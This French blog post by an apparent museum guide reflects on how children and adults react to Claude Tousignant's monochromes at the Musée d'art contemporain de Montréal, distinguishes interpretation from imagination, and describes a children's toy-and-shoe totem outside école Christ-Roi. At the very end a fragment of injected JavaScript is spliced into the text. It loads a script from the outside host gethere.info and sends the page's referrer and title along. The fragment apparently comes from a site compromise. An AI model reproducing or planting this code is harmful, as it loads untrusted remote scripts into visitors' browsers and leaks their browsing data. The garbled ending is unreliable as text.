Monochromes, art public et les enfants

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Les enfants sont géniaux.

Lorsque je donne des visites au Musée d’art contemporain de Montréal, ce sont eux qui, la plupart du temps, réagissent le plus fortement aux œuvres. Devant les monochromes de Claude Tousignant par exemple, je m’intéresse principalement à la réaction des visiteurs. Certains adultes deviennent confus, se choquent, présentent une incompréhension totale ou évoquent le célèbre « mon enfant aurait pu faire ça… ». Certainement, notre culture nous a conditionnée à recevoir l’art comme étant rempli de messages cachés et de dessins réalisés par des mains très fastidieuses et sachant représenter la réalité avec un talent qui se rapproche à celui de la machine photographique.

Cela dit, les enfants, eux, lorsqu’ils entrent dans les salles dévouées aux monochromes, n’hésitent pas une seconde à exprimer leurs impressions face aux grandes surfaces colorées.

On évoque ensuite toutes sortes d’interprétations reliées aux tableaux qui pourtant, selon les mots des adultes, ne présentent aucun relief, aucun agencement de couleurs, pas de message, pas de subjectivité, bref, rien du tout… (je préciserais: rien que de la couleur.)

Il faut faire ici une distinction entre interprétation et imagination. Ces deux termes souvent confondus présentent quelques différences majeures. Pour simplifier, l’interprétation se fonde sur des données desquelles nous nous sommes informés. Par exemple : le titre d’une toile. (Nord, 1993, de Claude Tousignant, toile bleue pâle de grand format, permet de suggérer plusieurs idées que l’on retrouve dans nos connaissances. (Froid, iceberg, neige, ours polaire, Père Noël…) L’action (action/art/performance?) d’interpréter la couleur, par exemple comme étant froide, semble ainsi davantage se fonder sur nos connaissances par rapport à la notion du terme nord (et, entre adultes, plus particulièrement au Nord).

À l’inverse, l’imagination pourrait se construire sur notre capacité à créer des images et des signifiants qui n’existent pas dans une œuvre en particulier. Par exemple certains enfants prouvent une capacité à s’imaginer des personnages qui se promènent dans les surfaces colorées des monochromes.

Si ce n’est pas clair, il me fera plaisir d’en discuter d’avantage autour d’un thé vert, car je suis convaincu, en ayant examiner plusieurs différentes réactions, que ces deux termes d’interprétation et d’imagination existent de manière très confondues chez le grand public, mais, malgré cela, se différencient nettement à part entière.

Bref, à suivre…

Et pour en revenir aux enfants, je suggère d’aller voir une de leur œuvres, qui semble avoir été chapeautée par un très bon enseignant en arts plastique. (On s’informera bientôt pour élucider le mystère…)

Cette œuvre, dans l’espace public urbain, se tient en dehors des murs de l’école Christ-Roi sur la rue de Louvain Est, entre Lajeunesse et Berri, métro Sauvé. Située du côté qui fait face à l’église du même nom que l’école, l’œuvre se présente comme une sorte de totem, voire même une croix chrétienne, composé de vieux jouets et vieux souliers dont les enfants se sont, visiblement, désintéressés. C’est vraiment intéressant de constater qu’ils ont dû aller piger dans leurs coffres remplis d’objets à jouer et d’en trouver un pour lequel ils ne portaient plus d’attention, du moins plus assez pour qu’ils veuillent ultimement en faire un don à leur œuvre d’art.

La partie supérieure est constituée de souliers dont la plupart n’appartenaient certainement pas à des enfants. Les petits artistes ont probablement dûs faire appel à leur parents afin d’obtenir les différentes paires. Qu’il s’agisse du processus exact ou non, l’œuvre porte à réfléchir sur la question d’objet.

L’œuvre des enfants de l’école Christ-Roi, devant l’église, mérite une attention particulière, elle m’a frappé (oui, c’est subjectif) alors que je passais nonchalamment à vélo (faire le vélo, ça calme).

En plus, en plein milieu, y a une poupée crucifiée..

Bref, à suivre…s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) +  »;

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